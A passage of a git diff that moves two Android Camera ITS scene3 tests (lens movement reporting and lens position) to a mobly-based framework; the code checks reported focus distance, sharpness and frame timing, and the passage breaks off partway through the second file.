+++ b/apps/CameraITS/tests/scene3/test_lens_movement_reporting.py
@@ -1,178 +1,205 @@
 # Copyright 2016 The Android Open Source Project
 #
-# Licensed under the Apache License, Version 2.0 (the 'License');
+# Licensed under the Apache License, Version 2.0 (the "License");
 # you may not use this file except in compliance with the License.
 # You may obtain a copy of the License at
 #
 #      http://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an 'AS IS' BASIS,
+# distributed under the License is distributed on an "AS IS" BASIS,
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
+"""Verifies android.lens.state when lens is moving."""
 
+
+import logging
 import os
-
-import its.caps
-import its.cv2image
-import its.device
-import its.image
-import its.objects
+from mobly import test_runner
 import numpy as np
 
-NUM_IMGS = 12
-FRAME_TIME_TOL = 10  # ms
-SHARPNESS_TOL = 0.10  # percentage
-POSITION_TOL = 0.10  # percentage
-VGA_WIDTH = 640
-VGA_HEIGHT = 480
-NAME = os.path.basename(__file__).split('.')[0]
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
+import opencv_processing_utils
 
 
-def test_lens_movement_reporting(cam, props, fmt, gain, exp, af_fd, chart):
-    """Return fd, sharpness, lens state of the output images.
-
-    Args:
-        cam: An open device session.
-        props: Properties of cam
-        fmt: dict; capture format
-        gain: Sensitivity for the 3A request as defined in
-            android.sensor.sensitivity
-        exp: Exposure time for the 3A request as defined in
-            android.sensor.exposureTime
-        af_fd: Focus distance for the 3A request as defined in
-            android.lens.focusDistance
-        chart: Object that contains chart information
-
-    Returns:
-        Object containing reported sharpness of the output image, keyed by
-        the following string:
-            'sharpness'
-    """
-
-    # initialize variables and take data sets
-    data_set = {}
-    white_level = int(props['android.sensor.info.whiteLevel'])
-    min_fd = props['android.lens.info.minimumFocusDistance']
-    fds = [af_fd, min_fd]
-    fds = sorted(fds * NUM_IMGS)
-    reqs = []
-    for i, fd in enumerate(fds):
-        reqs.append(its.objects.manual_capture_request(gain, exp))
-        reqs[i]['android.lens.focusDistance'] = fd
-    caps = cam.do_capture(reqs, fmt)
-    for i, cap in enumerate(caps):
-        data = {'fd': fds[i]}
-        data['loc'] = cap['metadata']['android.lens.focusDistance']
-        data['lens_moving'] = (cap['metadata']['android.lens.state']
-                               == 1)
-        timestamp = cap['metadata']['android.sensor.timestamp']
-        if i == 0:
-            timestamp_init = timestamp
-        timestamp -= timestamp_init
-        timestamp *= 1E-6
-        data['timestamp'] = timestamp
-        print ' focus distance (diopters): %.3f' % data['fd']
-        print ' current lens location (diopters): %.3f' % data['loc']
-        print ' lens moving %r' % data['lens_moving']
-        y, _, _ = its.image.convert_capture_to_planes(cap, props)
-        y = its.image.rotate_img_per_argv(y)
-        chart.img = its.image.normalize_img(its.image.get_image_patch(
-                y, chart.xnorm, chart.ynorm, chart.wnorm, chart.hnorm))
-        its.image.write_image(chart.img, '%s_i=%d_chart.jpg' % (NAME, i))
-        data['sharpness'] = white_level*its.image.compute_image_sharpness(
-                chart.img)
-        print 'Chart sharpness: %.1f\n' % data['sharpness']
-        data_set[i] = data
-    return data_set
+FRAME_ATOL_MS = 10
+NAME = os.path.splitext(os.path.basename(__file__))[0]
+NUM_FRAMES_PER_FD = 12
+POSITION_RTOL = 0.10  # 10%
+SHARPNESS_RTOL = 0.10  # 10%
+VGA_WIDTH, VGA_HEIGHT = 640, 480
 
 
-def main():
-    """Test if focus distance is properly reported.
+def take_caps_and_determine_sharpness(
+    cam, props, fmt, gain, exp, af_fd, chart, log_path):
+  """Return fd, sharpness, lens state of the output images.
 
-    Capture images at a variety of focus locations.
-    """
+  Args:
+    cam: An open device session.
+    props: Properties of cam
+    fmt: dict; capture format
+    gain: Sensitivity for the request as defined in android.sensor.sensitivity
+    exp: Exposure time for the request as defined in
+         android.sensor.exposureTime
+    af_fd: Focus distance for the request as defined in
+           android.lens.focusDistance
+    chart: Object that contains chart information
+    log_path: log_path to save the captured image
 
-    print '\nStarting test_lens_movement_reporting.py'
-    # check skip conditions
-    with its.device.ItsSession() as cam:
-        props = cam.get_camera_properties()
-        its.caps.skip_unless(not its.caps.fixed_focus(props))
-        its.caps.skip_unless(its.caps.read_3a(props) and
-                             its.caps.lens_approx_calibrated(props))
-    # initialize chart class
-    chart = its.cv2image.Chart()
+  Returns:
+    Object containing reported sharpness of the output image, keyed by
+    the following string:
+        'sharpness'
+  """
 
-    with its.device.ItsSession() as cam:
-        mono_camera = its.caps.mono_camera(props)
-        min_fd = props['android.lens.info.minimumFocusDistance']
-        fmt = {'format': 'yuv', 'width': VGA_WIDTH, 'height': VGA_HEIGHT}
+  # initialize variables and take data sets
+  data_set = {}
+  white_level = int(props['android.sensor.info.whiteLevel'])
+  min_fd = props['android.lens.info.minimumFocusDistance']
+  fds = [af_fd, min_fd]
+  fds = sorted(fds * NUM_FRAMES_PER_FD)
+  reqs = []
+  for i, fd in enumerate(fds):
+    reqs.append(capture_request_utils.manual_capture_request(gain, exp))
+    reqs[i]['android.lens.focusDistance'] = fd
+  caps = cam.do_capture(reqs, fmt)
+  for i, cap in enumerate(caps):
+    data = {'fd': fds[i]}
+    data['loc'] = cap['metadata']['android.lens.focusDistance']
+    data['lens_moving'] = (cap['metadata']['android.lens.state']
+                           == 1)
+    timestamp = cap['metadata']['android.sensor.timestamp'] * 1E-6
+    if i == 0:
+      timestamp_init = timestamp
+    timestamp -= timestamp_init
+    data['timestamp'] = timestamp
+    y, _, _ = image_processing_utils.convert_capture_to_planes(cap, props)
+    chart.img = image_processing_utils.normalize_img(
+        image_processing_utils.get_image_patch(
+            y, chart.xnorm, chart.ynorm, chart.wnorm, chart.hnorm))
+    img_name = '%s_i=%d.jpg' % (os.path.join(log_path, NAME), i)
+    image_processing_utils.write_image(chart.img, img_name)
+    data['sharpness'] = (
+        white_level * image_processing_utils.compute_image_sharpness(chart.img))
+    data_set[i] = data
+  return data_set
 
-        # Get proper sensitivity, exposure time, and focus distance with 3A.
-        s, e, _, _, fd = cam.do_3a(get_results=True, mono_camera=mono_camera)
 
-        # Get sharpness for each focal distance
-        d = test_lens_movement_reporting(cam, props, fmt, s, e, fd, chart)
-        for k in sorted(d):
-            print ('i: %d\tfd: %.3f\tlens location (diopters): %.3f \t'
-                   'sharpness: %.1f  \tlens_moving: %r \t'
-                   'timestamp: %.1fms' % (k, d[k]['fd'], d[k]['loc'],
-                                          d[k]['sharpness'],
-                                          d[k]['lens_moving'],
-                                          d[k]['timestamp']))
+class LensMovementReportingTest(its_base_test.ItsBaseTest):
+  """Test if focus distance is properly reported.
 
-        # assert frames are consecutive
-        print 'Asserting frames are consecutive'
-        times = [v['timestamp'] for v in d.itervalues()]
-        diffs = np.gradient(times)
-        assert np.isclose(np.amax(diffs)-np.amax(diffs), 0, atol=FRAME_TIME_TOL)
+  Do unit step of focus distance and check sharpness correlates.
+  """
 
-        # remove data when lens is moving
-        for k in sorted(d):
-            if d[k]['lens_moving']:
-                del d[k]
+  def test_lens_movement_reporting(self):
+    logging.debug('Starting %s', NAME)
 
-        # split data into min_fd and af data for processing
-        d_min_fd = {}
-        d_af_fd = {}
-        for k in sorted(d):
-            if d[k]['fd'] == min_fd:
-                d_min_fd[k] = d[k]
-            if d[k]['fd'] == fd:
-                d_af_fd[k] = d[k]
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      chart_loc_arg = self.chart_loc_arg
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
 
-        # assert reported locations are close at af_fd
-        print 'Asserting lens location of af_fd data'
-        min_loc = min([v['loc'] for v in d_af_fd.itervalues()])
-        max_loc = max([v['loc'] for v in d_af_fd.itervalues()])
-        assert np.isclose(min_loc, max_loc, rtol=POSITION_TOL)
-        # assert reported sharpness is close at af_fd
-        print 'Asserting sharpness of af_fd data'
-        min_sharp = min([v['sharpness'] for v in d_af_fd.itervalues()])
-        max_sharp = max([v['sharpness'] for v in d_af_fd.itervalues()])
-        assert np.isclose(min_sharp, max_sharp, rtol=SHARPNESS_TOL)
-        # assert reported location is close to assign location for af_fd
-        print 'Asserting lens location close to assigned fd for af_fd data'
-        first_key = min(d_af_fd.keys())  # finds 1st non-moving frame
-        assert np.isclose(d_af_fd[first_key]['loc'], d_af_fd[first_key]['fd'],
-                          rtol=POSITION_TOL)
+      # Check skip conditions
+      camera_properties_utils.skip_unless(
+          not camera_properties_utils.fixed_focus(props) and
+          camera_properties_utils.read_3a(props) and
+          camera_properties_utils.lens_approx_calibrated(props))
 
-        # assert reported location is close for min_fd captures
-        print 'Asserting lens location similar min_fd data'
-        min_loc = min([v['loc'] for v in d_min_fd.itervalues()])
-        max_loc = max([v['loc'] for v in d_min_fd.itervalues()])
-        assert np.isclose(min_loc, max_loc, rtol=POSITION_TOL)
-        # assert reported sharpness is close at min_fd
-        print 'Asserting sharpness of min_fd data'
-        min_sharp = min([v['sharpness'] for v in d_min_fd.itervalues()])
-        max_sharp = max([v['sharpness'] for v in d_min_fd.itervalues()])
-        assert np.isclose(min_sharp, max_sharp, rtol=SHARPNESS_TOL)
-        # assert reported location is close to assign location for min_fd
-        print 'Asserting lens location close to assigned fd for min_fd data'
-        assert np.isclose(d_min_fd[NUM_IMGS*2-1]['loc'],
-                          d_min_fd[NUM_IMGS*2-1]['fd'], rtol=POSITION_TOL)
+      # Calculate camera_fov and load scaled image on tablet.
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
 
+      # Initialize chart class and locate chart in scene
+      chart = opencv_processing_utils.Chart(
+          cam, props, self.log_path, chart_loc=chart_loc_arg)
+
+      # Get proper sensitivity, exposure time, and focus distance with 3A.
+      mono_camera = camera_properties_utils.mono_camera(props)
+      s, e, _, _, fd = cam.do_3a(get_results=True, mono_camera=mono_camera)
+
+      # Get sharpness for each focal distance
+      fmt = {'format': 'yuv', 'width': VGA_WIDTH, 'height': VGA_HEIGHT}
+      d = take_caps_and_determine_sharpness(
+          cam, props, fmt, s, e, fd, chart, self.log_path)
+      for k in sorted(d):
+        logging.debug(
+            'i: %d\tfd: %.3f\tlens location (diopters): %.3f \t'
+            'sharpness: %.1f  \tlens_moving: %r \t'
+            'timestamp: %.1fms', k, d[k]['fd'], d[k]['loc'], d[k]['sharpness'],
+            d[k]['lens_moving'], d[k]['timestamp'])
+
+      # Assert frames are consecutive
+      frame_diffs = np.gradient([v['timestamp'] for v in d.values()])
+      delta_diffs = np.amax(frame_diffs) - np.amin(frame_diffs)
+      e_msg = 'Timestamp gradient(ms): %.1f, ATOL: %.f' % (
+          delta_diffs, FRAME_ATOL_MS)
+      assert np.isclose(delta_diffs, 0, atol=FRAME_ATOL_MS), e_msg
+
+      # Remove data when lens is moving
+      for k in sorted(d):
+        if d[k]['lens_moving']:
+          del d[k]
+
+      # Split data into min_fd and af data for processing
+      d_min_fd = {}
+      d_af_fd = {}
+      for k in sorted(d):
+        if d[k]['fd'] == props['android.lens.info.minimumFocusDistance']:
+          d_min_fd[k] = d[k]
+        if d[k]['fd'] == fd:
+          d_af_fd[k] = d[k]
+
+      logging.debug('Assert reported locs are close for af_fd captures')
+      min_loc = min([v['loc'] for v in d_af_fd.values()])
+      max_loc = max([v['loc'] for v in d_af_fd.values()])
+      e_msg = 'af_fd[loc] min: %.3f, max: %.3f, RTOL: %.2f' % (
+          min_loc, max_loc, POSITION_RTOL)
+      assert np.isclose(min_loc, max_loc, rtol=POSITION_RTOL), e_msg
+
+      logging.debug('Assert reported sharpness is close at af_fd')
+      min_sharp = min([v['sharpness'] for v in d_af_fd.values()])
+      max_sharp = max([v['sharpness'] for v in d_af_fd.values()])
+      e_msg = 'af_fd[sharpness] min: %.3f, max: %.3f, RTOL: %.2f' % (
+          min_sharp, max_sharp, SHARPNESS_RTOL)
+      assert np.isclose(min_sharp, max_sharp, rtol=SHARPNESS_RTOL), e_msg
+
+      logging.debug('Assert reported loc is close to assign loc for af_fd')
+      first_key = min(d_af_fd.keys())  # find 1st non-moving frame
+      loc = d_af_fd[first_key]['loc']
+      fd = d_af_fd[first_key]['fd']
+      e_msg = 'af_fd[loc]: %.3f, af_fd[fd]: %.3f, RTOL: %.2f' % (
+          loc, fd, POSITION_RTOL)
+      assert np.isclose(loc, fd, rtol=POSITION_RTOL), e_msg
+
+      logging.debug('Assert reported locs are close for min_fd captures')
+      min_loc = min([v['loc'] for v in d_min_fd.values()])
+      max_loc = max([v['loc'] for v in d_min_fd.values()])
+      e_msg = 'min_fd[loc] min: %.3f, max: %.3f, RTOL: %.2f' % (
+          min_loc, max_loc, POSITION_RTOL)
+      assert np.isclose(min_loc, max_loc, rtol=POSITION_RTOL), e_msg
+
+      logging.debug('Assert reported sharpness is close at min_fd')
+      min_sharp = min([v['sharpness'] for v in d_min_fd.values()])
+      max_sharp = max([v['sharpness'] for v in d_min_fd.values()])
+      e_msg = 'min_fd[sharpness] min: %.3f, max: %.3f, RTOL: %.2f' % (
+          min_sharp, max_sharp, SHARPNESS_RTOL)
+      assert np.isclose(min_sharp, max_sharp, rtol=SHARPNESS_RTOL), e_msg
+
+      logging.debug('Assert reported loc is close to assigned loc for min_fd')
+      last_key = 2 * NUM_FRAMES_PER_FD - 1
+      loc = d_min_fd[last_key]['loc']
+      fd = d_min_fd[last_key]['fd']
+      e_msg = 'min_fd[loc]: %.3f, min_fd[fd]: %.3f, RTOL: %.2f' % (
+          loc, fd, POSITION_RTOL)
+      assert np.isclose(loc, fd, rtol=POSITION_RTOL), e_msg
 
 if __name__ == '__main__':
-    main()
+  test_runner.main()
diff --git a/apps/CameraITS/tests/scene3/test_lens_position.py b/apps/CameraITS/tests/scene3/test_lens_position.py
index 101b44c..09f74f0 100644
--- a/apps/CameraITS/tests/scene3/test_lens_position.py
+++ b/apps/CameraITS/tests/scene3/test_lens_position.py
@@ -1,196 +1,232 @@
 # Copyright 2016 The Android Open Source Project
 #
-# Licensed under the Apache License, Version 2.0 (the 'License');
+# Licensed under the Apache License, Version 2.0 (the "License");
 # you may not use this file except in compliance with the License.
 # You may obtain a copy of the License at
 #
 #      http://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an 'AS IS' BASIS,
+# distributed under the License is distributed on an "AS IS" BASIS,
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
+"""Verifies android.lens.focusDistance for lens moving and stationary."""
 
+
+import logging
 import os
-
-import its.caps
-import its.cv2image
-import its.device
-import its.image
-import its.objects
+from mobly import test_runner
 import numpy as np
 
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import error_util
+import image_processing_utils
+import its_session_utils
+import opencv_processing_utils
+
+FRAME_ATOL_MS = 10  # ms
+LENS_MOVING_STATE = 1
+NAME = os.path.splitext(os.path.basename(__file__))[0]
+NSEC_TO_MSEC = 1.0E-6
 NUM_TRYS = 2
 NUM_STEPS = 6
-SHARPNESS_TOL = 0.1
-POSITION_TOL = 0.1
-FRAME_TIME_TOL = 10  # ms
-VGA_WIDTH = 640
-VGA_HEIGHT = 480
-NAME = os.path.basename(__file__).split('.')[0]
+POSITION_RTOL = 0.1
+SHARPNESS_RTOL = 0.1
+VGA_W, VGA_H = 640, 480
 
 
-def test_lens_position(cam, props, fmt, sensitivity, exp, chart):
-    """Return fd, sharpness, lens state of the output images.
-
-    Args:
-        cam: An open device session.
-        props: Properties of cam
-        fmt: dict; capture format
-        sensitivity: Sensitivity for the 3A request as defined in
-            android.sensor.sensitivity
-        exp: Exposure time for the 3A request as defined in
-            android.sensor.exposureTime
-        chart: Object with chart properties
-
-    Returns:
-        Dictionary of results for different focal distance captures
-        with static lens positions and moving lens positions
-        d_static, d_moving
-    """
-
-    # initialize variables and take data sets
-    data_static = {}
-    data_moving = {}
-    white_level = int(props['android.sensor.info.whiteLevel'])
-    min_fd = props['android.lens.info.minimumFocusDistance']
-    hyperfocal = props['android.lens.info.hyperfocalDistance']
-    fds_f = np.arange(hyperfocal, min_fd, (min_fd-hyperfocal)/(NUM_STEPS-1))
-    fds_f = np.append(fds_f, min_fd)
-    fds_f = fds_f.tolist()
-    fds_b = list(reversed(fds_f))
-    fds_fb = list(fds_f)
-    fds_fb.extend(fds_b)  # forward and back
-    # take static data set
-    for i, fd in enumerate(fds_fb):
-        req = its.objects.manual_capture_request(sensitivity, exp)
-        req['android.lens.focusDistance'] = fd
-        cap = its.image.stationary_lens_cap(cam, req, fmt)
-        data = {'fd': fds_fb[i]}
-        data['loc'] = cap['metadata']['android.lens.focusDistance']
-        print ' focus distance (diopters): %.3f' % data['fd']
-        print ' current lens location (diopters): %.3f' % data['loc']
-        y, _, _ = its.image.convert_capture_to_planes(cap, props)
-        chart.img = its.image.normalize_img(its.image.get_image_patch(
-                y, chart.xnorm, chart.ynorm, chart.wnorm, chart.hnorm))
-        its.image.write_image(chart.img, '%s_stat_i=%d_chart.jpg' % (NAME, i))
-        data['sharpness'] = white_level*its.image.compute_image_sharpness(
-                chart.img)
-        print 'Chart sharpness: %.1f\n' % data['sharpness']
-        data_static[i] = data
-    # take moving data set
-    reqs = []
-    for i, fd in enumerate(fds_f):
-        reqs.append(its.objects.manual_capture_request(sensitivity, exp))
-        reqs[i]['android.lens.focusDistance'] = fd
-    caps = cam.do_capture(reqs, fmt)
-    for i, cap in enumerate(caps):
-        data = {'fd': fds_f[i]}
-        data['loc'] = cap['metadata']['android.lens.focusDistance']
-        data['lens_moving'] = (cap['metadata']['android.lens.state']
-                               == 1)
-        timestamp = cap['metadata']['android.sensor.timestamp'] * 1E-6
-        if i == 0:
-            timestamp_init = timestamp
-        timestamp -= timestamp_init
-        data['timestamp'] = timestamp
-        print ' focus distance (diopters): %.3f' % data['fd']
-        print ' current lens location (diopters): %.3f' % data['loc']
-        y, _, _ = its.image.convert_capture_to_planes(cap, props)
-        y = its.image.rotate_img_per_argv(y)
-        chart.img = its.image.normalize_img(its.image.get_image_patch(
-                y, chart.xnorm, chart.ynorm, chart.wnorm, chart.hnorm))
-        its.image.write_image(chart.img, '%s_move_i=%d_chart.jpg' % (NAME, i))
-        data['sharpness'] = white_level*its.image.compute_image_sharpness(
-                chart.img)
-        print 'Chart sharpness: %.1f\n' % data['sharpness']
-        data_moving[i] = data
-    return data_static, data_moving
+def assert_static_frames_behavior(d_stat):
+  """Assert locations/sharpness are correct in static frames."""
+  logging.debug('Asserting static lens locations/sharpness are similar')
+  for i in range(len(d_stat) // 2):
+    j = 2 * NUM_STEPS - 1 - i
+    rw_msg = 'fd_write: %.3f, fd_read: %.3f, RTOL: %.2f' % (
+        d_stat[i]['fd'], d_stat[i]['loc'], POSITION_RTOL)
+    fr_msg = 'loc_fwd[%d]: %.3f, loc_rev[%d]: %.3f, RTOL: %.2f' % (
+        i, d_stat[i]['loc'], j, d_stat[j]['loc'], POSITION_RTOL)
+    s_msg = 'sharpness_fwd: %.3f, sharpness_rev: %.3f, RTOL: %.2f' % (
+        d_stat[i]['sharpness'], d_stat[j]['sharpness'], SHARPNESS_RTOL)
+    assert np.isclose(d_stat[i]['loc'], d_stat[i]['fd'],
+                      rtol=POSITION_RTOL), rw_msg
+    assert np.isclose(d_stat[i]['loc'], d_stat[j]['loc'],
+                      rtol=POSITION_RTOL), fr_msg
+    assert np.isclose(d_stat[i]['sharpness'], d_stat[j]['sharpness'],
+                      rtol=SHARPNESS_RTOL), s_msg
 
 
-def main():
-    """Test if focus position is properly reported for moving lenses."""
-    print '\nStarting test_lens_position.py'
-    # check skip conditions
-    with its.device.ItsSession() as cam:
-        props = cam.get_camera_properties()
-        its.caps.skip_unless(not its.caps.fixed_focus(props))
-        its.caps.skip_unless(its.caps.read_3a(props) and
-                             its.caps.lens_calibrated(props))
-    # initialize chart class
-    chart = its.cv2image.Chart()
+def assert_moving_frames_behavior(d_move, d_stat):
+  """Assert locations/sharpness are correct for consecutive moving frames."""
+  logging.debug('Asserting moving frames are consecutive')
+  times = [v['timestamp'] for v in d_move.values()]
+  diffs = np.gradient(times)
+  assert np.isclose(np.amin(diffs), np.amax(diffs),
+                    atol=FRAME_ATOL_MS), 'ATOL(ms): %.1f' % FRAME_ATOL_MS
 
-    with its.device.ItsSession() as cam:
-        mono_camera = its.caps.mono_camera(props)
-        fmt = {'format': 'yuv', 'width': VGA_WIDTH, 'height': VGA_HEIGHT}
+  logging.debug('Asserting moving lens locations/sharpness are similar')
+  for i in range(len(d_move)):
+    e_msg = 'static: %.3f, moving: %.3f, RTOL: %.2f' % (
+        d_stat[i]['loc'], d_move[i]['loc'], POSITION_RTOL)
+    assert np.isclose(d_stat[i]['loc'], d_move[i]['loc'],
+                      rtol=POSITION_RTOL), e_msg
+    if d_move[i]['lens_moving'] and i > 0:
+      e_msg = '%d sharpness[stat]: %.2f ' % (i-1, d_stat[i-1]['sharpness'])
+      e_msg += '%d sharpness[stat]: %.2f, [move]: %.2f, RTOL: %.1f' % (
+          i, d_stat[i]['sharpness'], d_move[i]['sharpness'], SHARPNESS_RTOL)
+      if d_stat[i]['sharpness'] > d_stat[i-1]['sharpness']:
+        assert (d_stat[i]['sharpness'] * (1.0 + SHARPNESS_RTOL) >
+                d_move[i]['sharpness'] > d_stat[i-1]['sharpness'] *
+                (1.0 - SHARPNESS_RTOL)), e_msg
+      else:
+        assert (d_stat[i-1]['sharpness'] * (1.0 + SHARPNESS_RTOL) >
+                d_move[i]['sharpness'] > d_stat[i]['sharpness'] *
+                (1.0 - SHARPNESS_RTOL)), e_msg
+    elif not d_move[i]['lens_moving']:
+      e_msg = '%d sharpness[stat]: %.2f, [move]: %.2f, RTOL: %.1f' % (
+          i, d_stat[i]['sharpness'], d_move[i]['sharpness'], SHARPNESS_RTOL)
+      assert np.isclose(d_stat[i]['sharpness'], d_move[i]['sharpness'],
+                        rtol=SHARPNESS_RTOL), e_msg
+    else:
+      raise error_util.Error('Lens is moving at frame 0!')
 
-        # Get proper sensitivity and exposure time with 3A
-        s, e, _, _, _ = cam.do_3a(get_results=True, mono_camera=mono_camera)
 
-        # Get sharpness for each focal distance
-        d_stat, d_move = test_lens_position(cam, props, fmt, s, e, chart)
-        print 'Lens stationary'
-        for k in sorted(d_stat):
-            print ('i: %d\tfd: %.3f\tlens location (diopters): %.3f \t'
-                   'sharpness: %.1f' % (k, d_stat[k]['fd'],
-                                        d_stat[k]['loc'],
-                                        d_stat[k]['sharpness']))
-        print 'Lens moving'
-        for k in sorted(d_move):
-            print ('i: %d\tfd: %.3f\tlens location (diopters): %.3f \t'
-                   'sharpness: %.1f  \tlens_moving: %r \t'
-                   'timestamp: %.1fms' % (k, d_move[k]['fd'],
-                                          d_move[k]['loc'],
-                                          d_move[k]['sharpness'],
-                                          d_move[k]['lens_moving'],
-                                          d_move[k]['timestamp']))
+def take_caps_and_return_data(cam, props, fmt, sens, exp, chart, log_path):
+  """Return fd, sharpness, lens state of the output images.
 
-        # assert static reported location/sharpness is close
-        print 'Asserting static lens locations/sharpness are similar'
-        for i in range(len(d_stat)/2):
-            j = 2 * NUM_STEPS - 1 - i
-            rw_msg = 'fd_write: %.3f, fd_read: %.3f, RTOL: %.2f' % (
-                    d_stat[i]['fd'], d_stat[i]['loc'], POSITION_TOL)
-            fr_msg = 'loc_fwd: %.3f, loc_rev: %.3f, RTOL: %.2f' % (
-                    d_stat[i]['loc'], d_stat[j]['loc'], POSITION_TOL)
-            s_msg = 'sharpness_fwd: %.3f, sharpness_rev: %.3f, RTOL: %.2f' % (
-                    d_stat[i]['sharpness'], d_stat[j]['sharpness'],
-                    SHARPNESS_TOL)
-            assert np.isclose(d_stat[i]['loc'], d_stat[i]['fd'],
-                              rtol=POSITION_TOL), rw_msg
-            assert np.isclose(d_stat[i]['loc'], d_stat[j]['loc'],
-                              rtol=POSITION_TOL), fr_msg
-            assert np.isclose(d_stat[i]['sharpness'], d_stat[j]['sharpness'],
-                              rtol=SHARPNESS_TOL), s_msg
-        # assert moving frames approximately consecutive with even distribution
-        print 'Asserting moving frames are consecutive'
-        times = [v['timestamp'] for v in d_move.itervalues()]
-        diffs = np.gradient(times)
-        assert np.isclose(np.amin(diffs), np.amax(diffs), atol=FRAME_TIME_TOL)
-        # assert reported location/sharpness is correct in moving frames
-        print 'Asserting moving lens locations/sharpness are similar'
-        for i in range(len(d_move)):
-            m_msg = 'static: %.3f, moving: %.3f, RTOL: %.2f' % (
-                    d_stat[i]['loc'], d_move[i]['loc'], POSITION_TOL)
-            assert np.isclose(d_stat[i]['loc'], d_move[i]['loc'],
-                              rtol=POSITION_TOL), m_msg
-            if d_move[i]['lens_moving'] and i > 0:
-                if d_stat[i]['sharpness'] > d_stat[i-1]['sharpness']:
-                    assert (d_stat[i]['sharpness']*(1.0+SHARPNESS_TOL) >
-                            d_move[i]['sharpness'] >
-                            d_stat[i-1]['sharpness']*(1.0-SHARPNESS_TOL))
-                else:
-                    assert (d_stat[i-1]['sharpness']*(1.0+SHARPNESS_TOL) >
-                            d_move[i]['sharpness'] >
-                            d_stat[i]['sharpness']*(1.0-SHARPNESS_TOL))
-            elif not d_move[i]['lens_moving']:
-                assert np.isclose(
-                        d_stat[i]['sharpness'], d_move[i]['sharpness'],
-                        rtol=SHARPNESS_TOL)
-            else:
-                raise its.error.Error('Lens is moving at frame 0!')
+  Args:
+    cam: An open device session
+    props: Properties of cam
+    fmt: Dict for capture format
+    sens: Sensitivity for 3A request as defined in android.sensor.sensitivity
+    exp: Exposure time for 3A request as defined in android.sensor.exposureTime
+    chart: Object with chart properties
+    log_path: Location to save images
+
+  Returns:
+    Dictionary of results for different focal distance captures with static
+    lens positions and moving lens positions: d_static, d_moving
+  """
+
+  # initialize variables and take data sets
+  data_static = {}
+  data_moving = {}
+  white_level = int(props['android.sensor.info.whiteLevel'])
+  min_fd = props['android.lens.info.minimumFocusDistance']
+  hyperfocal = props['android.lens.info.hyperfocalDistance']
+  # create forward + back list of focal distances
+  fds_f = np.arange(hyperfocal, min_fd, (min_fd-hyperfocal)/(NUM_STEPS-1))
+  fds_f = np.append(fds_f, min_fd)
+  fds_fb = list(fds_f) + list(reversed(fds_f))
+
+  # take static data set
+  for i, fd in enumerate(fds_fb):
+    req = capture_request_utils.manual_capture_request(sens, exp)
+    req['android.lens.focusDistance'] = fd
+    cap = image_processing_utils.stationary_lens_cap(cam, req, fmt)
+    data = {'fd': fds_fb[i]}
+    data['loc'] = cap['metadata']['android.lens.focusDistance']
+    y, _, _ = image_processing_utils.convert_capture_to_planes(cap, props)
+    chart.img = image_processing_utils.normalize_img(
+        image_processing_utils.get_image_patch(y, chart.xnorm, chart.ynorm,
+                                               chart.wnorm, chart.hnorm))
+    image_processing_utils.write_image(chart.img, '%s_stat_i=%d_chart.jpg' % (
+        os.path.join(log_path, NAME), i))
+    data['sharpness'] = white_level*image_processing_utils.compute_image_sharpness(
+        chart.img)
+    data_static[i] = data
+
+  # take moving data set
+  reqs = []
+  for i, fd in enumerate(fds_f):
+    reqs.append(capture_request_utils.manual_capture_request(sens, exp))
+    reqs[i]['android.lens.focusDistance'] = fd
+  caps = cam.do_capture(reqs, fmt)
+  for i, cap in enumerate(caps):
+    data = {'fd': fds_f[i]}
+    data['loc'] = cap['metadata']['android.lens.focusDistance']
+    data['lens_moving'] = (
+        cap['metadata']['android.lens.state'] == LENS_MOVING_STATE)
+    timestamp = cap['metadata']['android.sensor.timestamp'] * NSEC_TO_MSEC
+    if i == 0:
+      timestamp_init = timestamp
+    timestamp -= timestamp_init
+    data['timestamp'] = timestamp
+    y, _, _ = image_processing_utils.convert_capture_to_planes(cap, props)
+    y = image_processing_utils.rotate_img_per_argv(y)
+    chart.img = image_processing_utils.normalize_img(
+        image_processing_utils.get_image_patch(
+            y, chart.xnorm, chart.ynorm, chart.wnorm, chart.hnorm))
+    image_processing_utils.write_image(chart.img, '%s_move_i=%d_chart.jpg' % (
+        os.path.join(log_path, NAME), i))
+    data['sharpness'] = (
+        white_level * image_processing_utils.compute_image_sharpness(chart.img))
+    data_moving[i] = data
+  return data_static, data_moving
+
+
+class LensPositionReportingTest(its_base_test.ItsBaseTest):
+  """Test if focus position is properly reported for moving lenses."""
+
+  def test_lens_position_reporting(self):
+    logging.debug('Starting %s', NAME)
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      chart_loc_arg = self.chart_loc_arg
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      log_path = self.log_path
+
+      # Check skip conditions
+      camera_properties_utils.skip_unless(
+          not camera_properties_utils.fixed_focus(props) and
+          camera_properties_utils.read_3a(props) and
+          camera_properties_utils.lens_calibrated(props))
+
+      # Calculate camera_fov and load scaled image on tablet.
+      its_session_utils.load_scene(cam, props, self.scene, self.tablet,
+                                   self.chart_distance)
+
+      # Initialize chart class and locate chart in scene
+      chart = opencv_processing_utils.Chart(
+          cam, props, self.log_path, chart_loc=chart_loc_arg)
+
+      # Initialize capture format
+      fmt = {'format': 'yuv', 'width': VGA_W, 'height': VGA_H}
+
+      # Get proper sensitivity and exposure time with 3A
+      mono_camera = camera_properties_utils.mono_camera(props)
+      s, e, _, _, _ = cam.do_3a(get_results=True, mono_camera=mono_camera)
+
+      # Take caps and get sharpness for each focal distance
+      d_stat, d_move = take_caps_and_return_data(
+          cam, props, fmt, s, e, chart, log_path)
+
+      # Summarize info for log file and easier debug
+      logging.debug('Lens stationary')
+      for k in sorted(d_stat):
+        logging.debug(
